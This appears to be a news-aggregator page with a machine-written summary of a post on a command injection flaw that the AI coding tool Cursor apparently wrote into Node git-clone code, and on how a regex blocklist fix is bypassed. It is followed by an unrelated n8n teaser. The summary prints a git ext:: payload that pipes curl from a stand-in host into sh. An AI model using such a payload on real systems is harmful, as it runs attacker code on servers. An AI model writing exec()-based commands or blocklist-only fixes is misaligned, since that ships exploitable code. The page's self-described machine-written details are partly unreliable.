Urgent.News

650+ sources. One page. See who else covered it.

Editions

Tech

The Command Injection Fix Cursor Writes Still Runs Code (CWE-78)

TL;DR Cursor writes exec() with your input pasted into the command string, which is textbook command injection (CWE-78). Ask it to fix that and it adds a regex blocklist for shell metacharacters. git clone ext::sh -c whoami contains none of them and still runs code on your box. The real fix is execFile with an argv array, plus a protocol and host allowlist, plus -- to stop option parsing. I was…

Command injection vulnerability is a common issue where user input becomes part of a shell command string, allowing attackers to execute arbitrary code on the server. In the case of the Cursor code, the repoUrl parameter from the incoming request was directly inserted into a git clone command using Node's exec() function. This allowed an attacker to provide malicious input that would be executed by the shell.

Even after applying a regex blocklist for shell metacharacters to sanitize the input, the vulnerability remained. The fix still allowed attackers to bypass the security measure by using special git transport syntax. For example, the payload "ext::sh -c curl http://evil.sh|sh" would pass the blocklist check and still execute a remote shell command on the server.

The root cause is that git's protocol.ext.allow setting defaults to user, allowing the entire command string to be passed directly to the shell. This means that even with a blocklist, the vulnerable code still allows attacker-controlled input to reach the shell interpreter.

To properly mitigate command injection vulnerabilities, developers should avoid building shell commands with user-supplied input. Instead, use execFile with an argv array, which prevents the input from being interpreted by the shell. Additionally, validate the input as a URL and restrict the allowed hosts to a whitelist. By separating the input validation from the command execution, developers can effectively prevent command injection attacks.

Written by urgent.news from Dev.to's reporting — not their text. Machine-written — may contain errors; check the original before relying on it.

Read the original at dev.to →

More in Tech

What n8n Execution Traces Can and Can't Tell You About Workflow Coverage

For my own reference, I was trying to answer a simple sounding question about an n8n workflow which branches did this execution exercise? It seems like a lookup given an execution, find the nodes, and for their outputs, observe which items were present. That gives you the exercised branches. This might be possible for some nodes.

  • Execution traces show exercised branches in branching nodes.
  • Traces cannot record input items to filter nodes or dropped items.
  • Traces are not complete coverage reports; they complement actual data.

More from Sunday 16 August →